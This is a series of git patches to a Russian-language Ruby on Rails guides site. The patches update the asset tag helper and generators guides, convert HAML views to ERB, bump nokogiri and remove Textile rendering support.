Эти теги можно использовать в макетах или других вью, хотя `auto_discovery_link_tag`, `javascript_include_tag` и `stylesheet_link_tag` как правило используются в разделе `` макета. WARNING: Хелперы ассетных тегов _не_ проверяют существование ассетов по заданному месту расположения; они просто предполагают, что вы знаете, что делаете, и генерируют ссылку. +[`auto_discovery_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag +[`javascript_include_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag +[`stylesheet_link_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag +[`image_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag +[`video_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag +[`audio_tag`]: https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag + #### Присоединение каналов с помощью `auto_discovery_link_tag` -Хелпер `auto_discovery_link_tag` создает HTML-код, который большинство браузеров и агрегаторов новостей могут использовать для определения наличия каналов RSS, Atom или JSON лент. Он принимает тип ссылки (`:rss`, `:atom` или `:json`), хэш опций, которые передаются через url_for, и хэш опций для тега: +Хелпер [`auto_discovery_link_tag`][] создает HTML-код, который большинство браузеров и агрегаторов новостей могут использовать для определения наличия каналов RSS, Atom или JSON лент. Он принимает тип ссылки (`:rss`, `:atom` или `:json`), хэш опций, которые передаются через url_for, и хэш опций для тега: ```erb <%= auto_discovery_link_tag(:rss, {action: "feed"}, @@ -794,7 +825,7 @@ WARNING: Хелперы ассетных тегов _не_ проверяют с #### Присоединение файлов JavaScript с помощью `javascript_include_tag` -Хелпер `javascript_include_tag` возвращает HTML-тег `script` для каждого предоставленного источника. +Хелпер [`javascript_include_tag`][] возвращает HTML-тег `script` для каждого предоставленного источника. При использовании Rails с включенным [Asset Pipeline](/asset-pipeline), этот хелпер сгенерирует ссылку на `/assets/javascripts/`, а не на `public/javascripts`, которая использовалась в более ранних версиях Rails. Затем эта ссылка обслуживается файлопроводом (asset pipeline). @@ -834,7 +865,7 @@ Rails тогда выдаст такой тег `script`: #### Присоединение файлов CSS с помощью `stylesheet_link_tag` -Хелпер `stylesheet_link_tag` возвращает HTML-тег `` для каждого предоставленного источника. +Хелпер [`stylesheet_link_tag`][] возвращает HTML-тег `` для каждого предоставленного источника. При использовании Rails с включенным "Asset Pipeline", этот хелпер сгенерирует ссылку на `/assets/stylesheets/`. Эта ссылка будет затем обработана гемом Sprockets. Файл таблицы стилей может быть размещен в одном из трех мест расположения: `app/assets`, `lib/assets` или `vendor/assets`. @@ -862,7 +893,7 @@ Rails тогда выдаст такой тег `script`: <%= stylesheet_link_tag "http://example.com/main.css" %> ``` -По умолчанию `stylesheet_link_tag` создает ссылки с `media="screen" rel="stylesheet"`. Можно переопределить любое из этих дефолтных значений, указав соответствующую опцию (:media, :rel): +По умолчанию `stylesheet_link_tag` создает ссылки с `rel="stylesheet"`. Можно переопределить любое из этих дефолтных значений, указав соответствующую опцию (`:rel`): ```erb <%= stylesheet_link_tag "main_print", media: "print" %> @@ -870,7 +901,7 @@ Rails тогда выдаст такой тег `script`: #### Присоединение изображений с помощью `image_tag` -Хелпер `image_tag` создает HTML-тег `` для определенного файла. По умолчанию файлы загружаются из `public/images`. +Хелпер [`image_tag`][] создает HTML-тег `` для определенного файла. По умолчанию файлы загружаются из `public/images`. WARNING: Обратите внимание, что нужно указывать расширение изображения. @@ -913,7 +944,7 @@ WARNING: Обратите внимание, что нужно указывать #### Присоединение видео с помощью `video_tag` -Хелпер `video_tag` создает тег HTML 5 `
    + <% if content_for?(:menu) %> + + <% end %> + <% if false && @page.try(:path) != 'index' %> + + <% end %> + +
    +
    + + <% if false %> + + <% end %> + <%= yield %> + +
    +
    +
    + +
    +
    +
    +
    +
    +
    + <%= javascript_include_tag "application" %> + + diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml deleted file mode 100644 index d49ab991..00000000 --- a/app/views/layouts/application.html.haml +++ /dev/null @@ -1,69 +0,0 @@ -!!! -%html(prefix="og: http://ogp.me/ns#") - %head - = render 'shared/meta_info' - %title= title - = stylesheet_link_tag "application" - = csrf_meta_tag - %body - .navbar.navbar-fixed-top - .navbar-inner - .container-fluid - = link_to '', '/', class: :brand - = form_tag search_path, method: :get, class: "navbar-search pull-right" do - = text_field_tag :search, params[:search], class: "search-query", placeholder: "Поиск.." - %ul.nav.pull-right.top-menu - %li= link_to 'Главная', '/' - %li.dropdown - = link_to '#', class: "index-popover" do - Содержание - %b.caret - .index-popover-content.hide - - menu_page = Page.matched("menu") - - cache ['v1', menu_page] do - = menu_page.rendered_body(self) - %li= link_to 'Ruby & Rails API', 'http://api.rusrails.ru/', target: :blank - - - if notice - .alert.alert-success - %button.close{type: :button, data: {dismiss: :alert}} × - = notice - - if alert - .alert.alert-error - %button.close{type: :button, data: {dismiss: :alert}} × - = alert - - .content-wrapper - .container-fluid - .row-fluid - .span3.pull-right - .well.social - %h4 Принимаем пожелания и пул-реквесты! - %iframe{allowtransparency: "true", frameborder: "0", height: "30", src: "http://ghbtns.com/github-btn.html?user=morsbox&repo=rusrails&type=watch&count=true&size=large", width: "180"} - %p - %a.twitter-follow-button{"data-lang" => "ru", href: "https://twitter.com/rusrails"} - - if content_for?(:menu) - .well.menu= yield(:menu) - -# - if @page.try(:path) != 'index' - -# .well.banner300.banner - -# = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' - .well.banner300.banner - = render "shared/adsense", position: 'sidebar' - .span9.content.pull-left - .banner= render "shared/adsense", position: 'top' - -# .banner= render "shared/banner", mkdev_random_banner - = yield - .banner= render "shared/adsense", position: 'bottom' - - .row-fluid - .span12#footer - %p - = link_to (image_tag 'github.png'), 'https://github.com/morsbox/rusrails', target: :blank - = link_to (image_tag 'twitter.png'), 'http://twitter.com/rusrails', target: :blank - %p - = link_to "Лицензия CC BY-SA 4.0","https://creativecommons.org/licenses/by-sa/4.0/" - "Rails", "Ruby on Rails" и логотип Rails - торговые марки DHH - = render "layouts/counter" - .to_top{ style: "display: block"} - .to_top_panel - = javascript_include_tag "application" diff --git a/app/views/pages/404.html.erb b/app/views/pages/404.html.erb new file mode 100644 index 00000000..2a50fc08 --- /dev/null +++ b/app/views/pages/404.html.erb @@ -0,0 +1,7 @@ +

    Страница не найдена

    +

    Возможно, она была раньше, но потом стала ненужной, и ее убрали.

    +

    + Вряд ли она была переименована или объединена с другой страницей, хотя этого исключать нельзя. + В таком случае, перейдите на главную страницу и воспользуйтесь навигацией. +

    +

    <%= link_to "Перейти на главную страницу", root_path %>

    diff --git a/app/views/pages/404.html.haml b/app/views/pages/404.html.haml deleted file mode 100644 index d7f15372..00000000 --- a/app/views/pages/404.html.haml +++ /dev/null @@ -1,4 +0,0 @@ -%h1 Страница не найдена -%P Возможно, она была раньше, но потом стала ненужной, и ее убрали. -%p Вряд ли она была переименована или объединена с другой страницей, хотя этого исключать нельзя. В таком случае, перейдите на главную страницу и воспользуйтесь навигацией. -%p= link_to "Перейти на главную страницу", root_path diff --git a/app/views/pages/_menu.html.erb b/app/views/pages/_menu.html.erb new file mode 100644 index 00000000..1e75c33d --- /dev/null +++ b/app/views/pages/_menu.html.erb @@ -0,0 +1,11 @@ + \ No newline at end of file diff --git a/app/views/pages/_menu.html.haml b/app/views/pages/_menu.html.haml deleted file mode 100644 index 86ce7be6..00000000 --- a/app/views/pages/_menu.html.haml +++ /dev/null @@ -1,6 +0,0 @@ -%ul.nav.nav-list - - markdown_renderer.headers.each do |header| - - unless header[0].empty? - %li - = content_tag "h#{header[0].length + 3}" do - = link_to "#{header[0].join '.'}. #{header[2]}".html_safe, "##{header[1]}" diff --git a/app/views/search/show.html.erb b/app/views/search/show.html.erb new file mode 100644 index 00000000..67402728 --- /dev/null +++ b/app/views/search/show.html.erb @@ -0,0 +1,15 @@ +

    + Вы искали: + <%= @search %> +

    +<% if @result.empty? %> +

    Ничего не найдено

    +<% else %> +
      + <% @result.each do |result| %> +
    1. + <%= link_to result.title, [static_docs, result] %> +
    2. + <% end %> +
    +<% end %> \ No newline at end of file diff --git a/app/views/search/show.html.haml b/app/views/search/show.html.haml deleted file mode 100644 index 21dcc017..00000000 --- a/app/views/search/show.html.haml +++ /dev/null @@ -1,10 +0,0 @@ -%h1 - Вы искали: - = @search -- if @result.empty? - %p Ничего не найдено -- else - %ol - - @result.each do |result| - %li - = link_to result.title, [static_docs, result] diff --git a/app/views/shared/_banner.html.erb b/app/views/shared/_banner.html.erb new file mode 100644 index 00000000..fd2ef337 --- /dev/null +++ b/app/views/shared/_banner.html.erb @@ -0,0 +1,3 @@ +<%= link_to url, target: "_blank", onclick: "trackOutboundLink('#{url}');" do %> + <%= image_tag image %> +<% end %> \ No newline at end of file diff --git a/app/views/shared/_banner.html.haml b/app/views/shared/_banner.html.haml deleted file mode 100644 index 1ff3f7f7..00000000 --- a/app/views/shared/_banner.html.haml +++ /dev/null @@ -1,2 +0,0 @@ -= link_to url, target: "_blank", onclick: "trackOutboundLink('#{url}');" do - = image_tag image diff --git a/app/views/shared/_meta_info.html.erb b/app/views/shared/_meta_info.html.erb new file mode 100644 index 00000000..92b0e700 --- /dev/null +++ b/app/views/shared/_meta_info.html.erb @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/views/shared/_meta_info.html.haml b/app/views/shared/_meta_info.html.haml deleted file mode 100644 index ce0a0a05..00000000 --- a/app/views/shared/_meta_info.html.haml +++ /dev/null @@ -1,15 +0,0 @@ -%meta{name: "keywords", content: "Ruby on Rails, Ruby, Rails, Rails 3, Rails 4, Rails 5, Rails 6, Rails 6.0, Rails 6.1 руководство, начинающим, самоучитель, manual, мануал, справочник, учебник, примеры, Руби, рельсы"} -%meta{name: "description", content: "Ruby on Rails руководства, учебники, статьи на русском языке"} - -%meta{property: "twitter:card", content: "product"} -%meta{property: "twitter:site", content: "@rusrails"} -%meta{property: "twitter:title", content: opengraph_config[:og_title]} -%meta{property: "twitter:description", content: opengraph_config[:og_description]} -%meta{property: "twitter:creator", content: "@rusrails"} -%meta{property: "twitter:image", content: opengraph_config[:og_image]} - -%meta{property: "og:type", content: opengraph_config[:og_type]} -%meta{property: "og:title", content: opengraph_config[:og_title]} -%meta{property: "og:description", content: opengraph_config[:og_description]} -%meta{property: "og:url", content: opengraph_config[:og_url]} -%meta{property: "og:image", content: opengraph_config[:og_image]} diff --git a/app/views/static_docs/pages/show.html.erb b/app/views/static_docs/pages/show.html.erb new file mode 100644 index 00000000..668f5e24 --- /dev/null +++ b/app/views/static_docs/pages/show.html.erb @@ -0,0 +1,13 @@ +<% if false && @page && @page.path == 'index' %> +
    + <%= render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' %> +
    +<% end %> +<% cache ['v2', @page] do %> + <%= @page.rendered_body(self) %> +<% end %> +<% content_for :menu do %> + <% cache ['v2', @page, 'menu'] do %> + <%= @page.meta[:menu] %> + <% end %> +<% end %> \ No newline at end of file diff --git a/app/views/static_docs/pages/show.html.haml b/app/views/static_docs/pages/show.html.haml deleted file mode 100644 index d8b745ec..00000000 --- a/app/views/static_docs/pages/show.html.haml +++ /dev/null @@ -1,10 +0,0 @@ --# - if @page && @page.path == 'index' --# #main_page_banner.well --# = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' - -- cache ['v2', @page] do - = @page.rendered_body(self) - -- content_for :menu do - - cache ['v2', @page, 'menu'] do - = @page.meta[:menu] From fb091642b82580ae24db0fefc390565a6cfbc392 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 28 May 2023 14:05:24 +0000 Subject: [PATCH 833/932] Bump nokogiri from 1.13.10 to 1.14.3 Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.10 to 1.14.3. - [Release notes](https://github.com/sparklemotion/nokogiri/releases) - [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md) - [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.10...v1.14.3) --- updated-dependencies: - dependency-name: nokogiri dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index d5a55594..379f6b5f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -197,7 +197,7 @@ GEM net-ssh-gateway (2.0.0) net-ssh (>= 4.0.0) nio4r (2.5.9) - nokogiri (1.13.10) + nokogiri (1.14.3) mini_portile2 (~> 2.8.0) racc (~> 1.4) pg (1.2.3) From de0c4a9ea5c33b51008bb5adbf479450da8494d3 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sun, 28 May 2023 20:39:48 +0300 Subject: [PATCH 834/932] get rid of textile support --- Gemfile | 1 - config/initializers/redcloth.rb | 2 - config/initializers/static_docs.rb | 8 ---- lib/renderers/textile_extension.rb | 69 ------------------------------ 4 files changed, 80 deletions(-) delete mode 100644 config/initializers/redcloth.rb delete mode 100644 lib/renderers/textile_extension.rb diff --git a/Gemfile b/Gemfile index 7fb9de72..0a508a4b 100644 --- a/Gemfile +++ b/Gemfile @@ -15,7 +15,6 @@ gem 'textacular' gem 'nokogiri' gem 'sass-rails' -gem 'RedCloth' gem 'redcarpet' gem 'config' gem 'bootstrap-sass', '~> 2.3.2.2' diff --git a/config/initializers/redcloth.rb b/config/initializers/redcloth.rb deleted file mode 100644 index 04e36ab0..00000000 --- a/config/initializers/redcloth.rb +++ /dev/null @@ -1,2 +0,0 @@ -require "renderers/textile_extension" -RedCloth.include TextileExtensions diff --git a/config/initializers/static_docs.rb b/config/initializers/static_docs.rb index ca816579..d9f612d1 100644 --- a/config/initializers/static_docs.rb +++ b/config/initializers/static_docs.rb @@ -9,12 +9,4 @@ page.meta[:menu] = render 'pages/menu', markdown_renderer: engine.renderer end end - - renderer :textile do |page| - t = RedCloth.new(page) - t.hard_breaks = false - t.lite_mode = false - t.sanitize_html = false - t.to_html(:notestuff, :plusplus, :code, :rails_mark).html_safe - end end diff --git a/lib/renderers/textile_extension.rb b/lib/renderers/textile_extension.rb deleted file mode 100644 index 743e403b..00000000 --- a/lib/renderers/textile_extension.rb +++ /dev/null @@ -1,69 +0,0 @@ -# forked from https://github.com/rails/rails/blob/master/guides/rails_guides/textile_extensions.rb - -module TextileExtensions - def notestuff(body) - # The following regexp detects special labels followed by a - # paragraph, perhaps at the end of the document. - # - # It is important that we do not eat more than one newline - # because formatting may be wrong otherwise. For example, - # if a bulleted list follows the first item is not rendered - # as a list item, but as a paragraph starting with a plain - # asterisk. - body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m| - css_class = case $1 - when 'CAUTION', 'IMPORTANT' - 'warning' - when 'TIP' - 'info' - else - $1.downcase - end - %Q(

    #{$2.strip}

    ) - end - end - - def plusplus(body) - body.gsub!(/\+(.*?)\+/) do |m| - "#{$1}" - end - - # The real plus sign - body.gsub!('', '+') - end - - def brush_for(code_type) - case code_type - when 'ruby', 'sql', 'plain' - code_type - when 'erb' - # TODO: fix mixing with html - # 'ruby; html-script: true' - 'ruby' - when 'html' - 'xml' # html is understood, but there are .xml rules in the CSS - else - 'plain' - end - end - - def code(body) - body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)}m) do |m| - < -
    -
    -#{ERB::Util.h($2).strip}
    -
    -
    - -HTML - end - end - - def rails_mark(body) - body.gsub!(/\(Rails(\d+)\)/m) do |m| - %Q(Rails #{$1.strip.split(//).join "."}) - end - end -end From a10b668afc6b3fa90d866c3e5cb3c60e4289b741 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sun, 28 May 2023 20:40:42 +0300 Subject: [PATCH 835/932] bundle --- Gemfile.lock | 2 -- 1 file changed, 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 2a2711cb..8d00e731 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,6 @@ GEM remote: https://rubygems.org/ specs: - RedCloth (4.3.2) actioncable (6.0.6.1) actionpack (= 6.0.6.1) nio4r (~> 2.0) @@ -302,7 +301,6 @@ PLATFORMS ruby DEPENDENCIES - RedCloth bootsnap (>= 1.1.0) bootstrap-sass (~> 2.3.2.2) capistrano (~> 2.15) From 84e66c86919a7a32687616f5b541716150732f70 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Wed, 28 Jun 2023 01:56:39 +0300 Subject: [PATCH 836/932] Update generators guide --- source/generators.md | 655 +++++++++++++++---------------------------- source/index.yml | 4 +- 2 files changed, 225 insertions(+), 434 deletions(-) diff --git a/source/generators.md b/source/generators.md index 29e4e030..249fa19d 100644 --- a/source/generators.md +++ b/source/generators.md @@ -1,23 +1,22 @@ Создание и настройка генераторов и шаблонов Rails ================================================= -Генераторы Rails - необходимый инструмент, если вы планируете улучшить свой рабочий процесс. С помощью этого руководства вы изучите, как создавать генераторы и настраивать существующие. +Генераторы Rails - необходимый инструмент, для улучшения своего рабочего процесса. С помощью этого руководства вы изучите, как создавать генераторы и настраивать существующие. После прочтения этого руководства, вы узнаете: * Как посмотреть, какие генераторы доступны в вашем приложении. * Как создать генератор с использованием шаблонов. * Как Rails ищет генераторы, чтобы вызвать их. -* Как Rails генерирует код Rails из шаблонов. -* Как настроить скаффолд, создавая новые генераторы. -* Как настроить скаффолд, изменяя шаблоны генератора. +* Как настроить скаффолд, переопределяя шаблоны генератора. +* Как настроить скаффолд, переопределяя генераторы. * Как использовать фолбэки, чтобы избежать переопределения большого набора генераторов. * Как создать шаблон приложения. Первый контакт -------------- -При создании приложения с помощью команды `rails` фактически вы используете генератор Rails. После этого можно получить список всех доступных генераторов, просто вызвав `bin/rails generate`: +При создании приложения с помощью команды `rails` фактически вы используете генератор Rails. После этого можно получить список всех доступных генераторов, вызвав `bin/rails generate`: ```bash $ rails new myapp @@ -25,34 +24,34 @@ $ cd myapp $ bin/rails generate ``` -NOTE: Чтобы создать новое приложение rails, мы используем глобальную команду `rails`, которую установил гем rails с помощью `gem install rails`. Когда внутри директории вашего приложения, мы используем команду `bin/rails`, которая использует комплект rails этого приложения. +NOTE: Чтобы создать новое приложение rails, мы используем глобальную команду `rails`, использующую версию Rails, установленную с помощью `gem install rails`. Когда внутри директории вашего приложения, мы используем команду `bin/rails`, которая использует версию Rails этого приложения. -Вы получите список всех генераторов, поставляющихся с Rails. Если необходимо подробное описание, к примеру, генератора helper, можно просто сделать так: +Вы получите список всех генераторов, поставляющихся с Rails. Чтобы увидеть подробное описание определенного генератора, вызовите генератор с опцией `--help`. Например: ```bash -$ bin/rails generate helper --help +$ bin/rails generate scaffold --help ``` Создание своего генератора -------------------------- -Начиная с Rails 3.0, генераторы создаются на основе [Thor](https://github.com/erikhuda/thor). Thor представляет мощные опции для парсинга и великолепный API для взаимодействия с файлами. Например, давайте создадим генератор, создающий файл инициализатора с именем `initializer.rb` внутри `config/initializers`. +Генераторы создаются на основе [Thor](https://github.com/erikhuda/thor), представляющего мощные опции для парсинга и великолепный API для взаимодействия с файлами. -Первым шагом является создание файла `lib/generators/initializer_generator.rb` со следующим содержимым: +Давайте создадим генератор, создающий файл инициализатора с именем `initializer.rb` внутри `config/initializers`. Первым шагом является создание файла `lib/generators/initializer_generator.rb` со следующим содержимым: ```ruby class InitializerGenerator < Rails::Generators::Base def create_initializer_file - create_file "config/initializers/initializer.rb", "# Add initialization content here" + create_file "config/initializers/initializer.rb", <<~RUBY + # Тут добавьте содержимое инициализации + RUBY end end ``` -NOTE: `create_file` - это метод, представленный `Thor::Actions`. Документация по `create_file` и другие методы Thor находятся в [документации по Thor](https://www.rubydoc.info/gems/thor/Thor/Actions) +Наш новый генератор очень прост: он наследуется от [`Rails::Generators::Base`][] и содержит одно определение метода. Когда генератор вызывается, каждый публичный метод в генераторе выполняется в порядке, в котором он определен. Наш метод вызывает [`create_file`][], который создаст файл в указанном месте с заданным содержимым. -Наш новый генератор очень прост: он наследуется от `Rails::Generators::Base` и содержит одно определение метода. Когда генератор вызывается, каждый публичный метод в генераторе выполняется в порядке, в котором он определен. Наконец, мы вызываем метод `create_file`, который создаст файл в указанном месте с заданным содержимым. Если вы знакомы с Rails Application Templates API, API генераторов покажется вам очень знакомым. - -Чтобы вызвать наш новый генератор, нужно всего лишь выполнить: +Чтобы вызвать наш новый генератор, запустим: ```bash $ bin/rails generate initializer @@ -64,25 +63,34 @@ $ bin/rails generate initializer $ bin/rails generate initializer --help ``` -Rails обычно способен генерировать хорошие описания, если генератор расположен в пространствах имен, таких как `ActiveRecord::Generators::ModelGenerator`, но не в этом частном случае. Эту проблему можно решить двумя способами. Первым является вызов `desc` внутри нашего генератора: +Rails обычно способен производить хорошие описания, если генератор расположен в пространствах имен, таких как `ActiveRecord::Generators::ModelGenerator`, но не в этом случае. Эту проблему можно решить двумя способами. Первым является добавление описания, вызывая [`desc`][] внутри нашего генератора: ```ruby class InitializerGenerator < Rails::Generators::Base desc "This generator creates an initializer file at config/initializers" - def create_initializer_file - create_file "config/initializers/initializer.rb", "# Add initialization content here" - end + create_file "config/initializers/initializer.rb", <<~RUBY + # Тут добавьте содержимое инициализации + RUBY end ``` -Теперь можно просмотреть новое описание, вызвав `--help` на новом генераторе. Вторым способом является добавление описания в файле `USAGE` в той же директории, что и наш генератор. Мы это сделаем на следующем этапе. +Теперь можно просмотреть новое описание, вызвав `--help` на новом генераторе. + +Вторым способом является добавление описания в файле `USAGE` в той же директории, что и наш генератор. Мы это сделаем на следующем этапе. + +[`Rails::Generators::Base`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html +[`Thor::Actions`]: https://www.rubydoc.info/gems/thor/Thor/Actions +[`create_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#create_file-instance_method +[`desc`]: https://www.rubydoc.info/gems/thor/Thor#desc-class_method Создание генераторов с помощью генераторов ------------------------------------------ -У самих генераторов есть генератор: +У самих генераторов есть генератор. Давайте уберем наш `InitializerGenerator` и используем `bin/rails generate generator` чтобы сгенерировать его заново: ```bash +$ rm lib/generators/initializer_generator.rb + $ bin/rails generate generator initializer create lib/generators/initializer create lib/generators/initializer/initializer_generator.rb @@ -96,13 +104,13 @@ $ bin/rails generate generator initializer ```ruby class InitializerGenerator < Rails::Generators::NamedBase - source_root File.expand_path('templates', __dir__) + source_root File.expand_path("templates", __dir__) end ``` -Сперва обратите внимание, что он унаследован от `Rails::Generators::NamedBase` вместо `Rails::Generators::Base`. Это означает, что наш генератор ожидает как минимум один аргумент, который будет именем инициализатора и будет доступным в нашем коде в переменной `name`. +Сперва обратите внимание, что генератор унаследован от [`Rails::Generators::NamedBase`][] вместо `Rails::Generators::Base`. Это означает, что наш генератор ожидает как минимум один аргумент, который будет именем инициализатора и будет доступным в нашем коде как `name`. -Это можно увидеть, если вызвать описание для генератора (не забудьте удалить файл старого генератора): +Это можно увидеть, если вызвать описание для генератора: ```bash $ bin/rails generate initializer --help @@ -110,19 +118,19 @@ Usage: bin/rails generate initializer NAME [options] ``` -Также можно увидеть, что в нашем новом генераторе есть метод класса `source_root`. Этот метод указывает на место расположения шаблонов нашего генератора, если таковые имеются, и по умолчанию он указывает на созданную директорию `lib/generators/initializer/templates`. +Также отметьте, что в генераторе есть метод класса [`source_root`][]. Этот метод указывает на расположение наших шаблонов, если таковые имеются, и по умолчанию он указывает на директорию `lib/generators/initializer/templates`, которая только что была создана. -Чтобы понять, что такое шаблон генератора, давайте создадим файл `lib/generators/initializer/templates/initializer.rb` со следующим содержимым: +Чтобы понять, как работает шаблон генератора, давайте создадим файл `lib/generators/initializer/templates/initializer.rb` со следующим содержимым: ```ruby -# Add initialization content here +# Тут добавьте содержимое инициализации ``` -А теперь изменим генератор, чтобы он копировал этот файл при вызове: +И изменим генератор, чтобы он копировал этот файл при вызове: ```ruby class InitializerGenerator < Rails::Generators::NamedBase - source_root File.expand_path('templates', __dir__) + source_root File.expand_path("templates", __dir__) def copy_initializer_file copy_file "initializer.rb", "config/initializers/#{file_name}.rb" @@ -130,51 +138,106 @@ class InitializerGenerator < Rails::Generators::NamedBase end ``` -И выполним наш генератор: +Теперь запустим наш генератор: ```bash $ bin/rails generate initializer core_extensions + create config/initializers/core_extensions.rb + +$ cat config/initializers/core_extensions.rb +# Тут добавьте содержимое инициализации ``` -Теперь мы видим, что инициализатор с именем core_extensions был создан в `config/initializers/core_extensions.rb` с содержимым нашего шаблона. Это означает, что `copy_file` копирует файл из корневой директории исходников в заданный путь назначения. Метод `file_name` автоматически создается, когда мы наследуем от `Rails::Generators::NamedBase`. +Мы видим, что [`copy_file`][] создал `config/initializers/core_extensions.rb` с содержимым нашего шаблона. (Метод `file_name`, используемый в пути назначения, унаследован от `Rails::Generators::NamedBase`.) -Доступные для генераторов методы раскрываются в [последнем разделе](#generator-methods) этого руководства. +[`Rails::Generators::NamedBase`]: https://api.rubyonrails.org/classes/Rails/Generators/NamedBase.html +[`copy_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#copy_file-instance_method +[`source_root`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-source_root -Поиск генераторов ------------------ +Опции командной строки генераторов +---------------------------------- -При запуске `bin/rails generate initializer core_extensions` Rails затребует эти файлы в следующем порядке, пока один из них не будет найден: +Генераторы могут поддерживать опции командной строки с помощью [`class_option`][]. Например: +```ruby +class InitializerGenerator < Rails::Generators::NamedBase + class_option :scope, type: :string, default: "app" +end ``` -rails/generators/initializer/initializer_generator.rb -generators/initializer/initializer_generator.rb -rails/generators/initializer_generator.rb -generators/initializer_generator.rb -``` - -Если ни один не найден, вы получите сообщение об ошибке. -INFO: Вышеуказанный пример положит файлы в папку `lib` приложения, поскольку сказано, что эта директория принадлежит `$LOAD_PATH`. +Теперь наш генератор может быть вызван с опцией `--scope`: -Настройка рабочего процесса ---------------------------- +```bash +$ bin/rails generate initializer theme --scope dashboard +``` -Собственные генераторы Rails достаточно гибки, чтобы позволить вам настроить скаффолд. Они могут быть настроены в `config/application.rb`, вот несколько настроек по умолчанию: +Значения опций доступны в методах генератора как [`options`][]: ```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: true +def copy_initializer_file + @scope = options["scope"] end ``` -Так как мы настраиваем наш рабочий процесс, давайте сперва посмотрим, как выглядит наш скаффолд: +[`class_option`]: https://www.rubydoc.info/gems/thor/Thor/Base/ClassMethods#class_option-instance_method +[`options`]: https://www.rubydoc.info/gems/thor/Thor/Base#options-instance_method + +Разрешение генератора +--------------------- + +При разрешении имени генератора, Rails ищет генератор с помощью нескольких имен файлов. Например, при запуске `bin/rails generate initializer core_extensions`, Rails пытается загрузить каждый из следующих файлов по порядку, пока один из них не будет найден: + +* `rails/generators/initializer/initializer_generator.rb` +* `generators/initializer/initializer_generator.rb` +* `rails/generators/initializer_generator.rb` +* `generators/initializer_generator.rb` + +Если ни один из них не будет найден, будет вызвана ошибка. + +Мы поместили наш генератор в директорию `lib/` приложения, потому что эта директория в `$LOAD_PATH`, что позволяет Rails найти и загрузить файл. + +Переопределение шаблонов генератора Rails +----------------------------------------- + +Rails также будет искать в нескольких местах при разрешении файлов шаблона генератора. Одним из этих мест является директория `lib/templates/` приложения. Это поведение позволяет нам переопределить шаблоны, используемые встроенными в Rails генераторами. Например, мы можем переопределить [шаблон скаффолда контроллера][] или [шаблоны скаффолда вью][]. + +Чтобы увидеть это в действии, давайте создадим файл `lib/templates/erb/scaffold/index.html.erb.tt` со следующим содержимым: + +```erb +<%% @<%= plural_table_name %>.count %> <%= human_name.pluralize %> +``` + +Отметьте, что это шаблон ERB, который рендерит _другой_ шаблон ERB. Поэтому любой `<%`, который должен появиться в _получившемся_ шаблоне, должен быть экранирован как `<%%` в шаблоне _генератора_. + +Теперь давайте запустим генератор скаффолда, встроенного в Rails: + +```bash +$ bin/rails generate scaffold Post title:string + ... + create app/views/posts/index.html.erb + ... +``` + +Содержимое `app/views/posts/index.html.erb`: + +```erb +<% @posts.count %> Posts +``` + +[scaffold controller template]: https://github.com/rails/rails/blob/main/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb.tt +[scaffold view templates]: https://github.com/rails/rails/tree/main/railties/lib/rails/generators/erb/scaffold/templates + +Переопределение генераторов Rails +--------------------------------- + +Встроенные генераторы Rails могут быть настроены с помощью [`config.generators`][], включая полное переопределение некоторых генераторов. + +Сначала давайте пристально взглянем на то, как работает генератор скаффолда. ```bash $ bin/rails generate scaffold User name:string invoke active_record - create db/migrate/20130924151154_create_users.rb + create db/migrate/20230518000000_create_users.rb create app/models/user.rb invoke test_unit create test/models/user_test.rb @@ -190,33 +253,22 @@ $ bin/rails generate scaffold User name:string create app/views/users/show.html.erb create app/views/users/new.html.erb create app/views/users/_form.html.erb + create app/views/users/_user.html.erb + invoke resource_route invoke test_unit create test/controllers/users_controller_test.rb + create test/system/users_test.rb invoke helper create app/helpers/users_helper.rb + invoke test_unit invoke jbuilder create app/views/users/index.json.jbuilder create app/views/users/show.json.jbuilder - invoke test_unit - create test/application_system_test_case.rb - create test/system/users_test.rb -``` - -Глядя на этот вывод, легко понять, как работают генераторы в Rails 3.0 и выше. Генератор скаффолда фактически не генерирует ничего, он просто вызывает другие. Это позволяет нам добавить/заменить/убрать любые из этих вызовов. Например, генератор скаффолда вызывает генератор 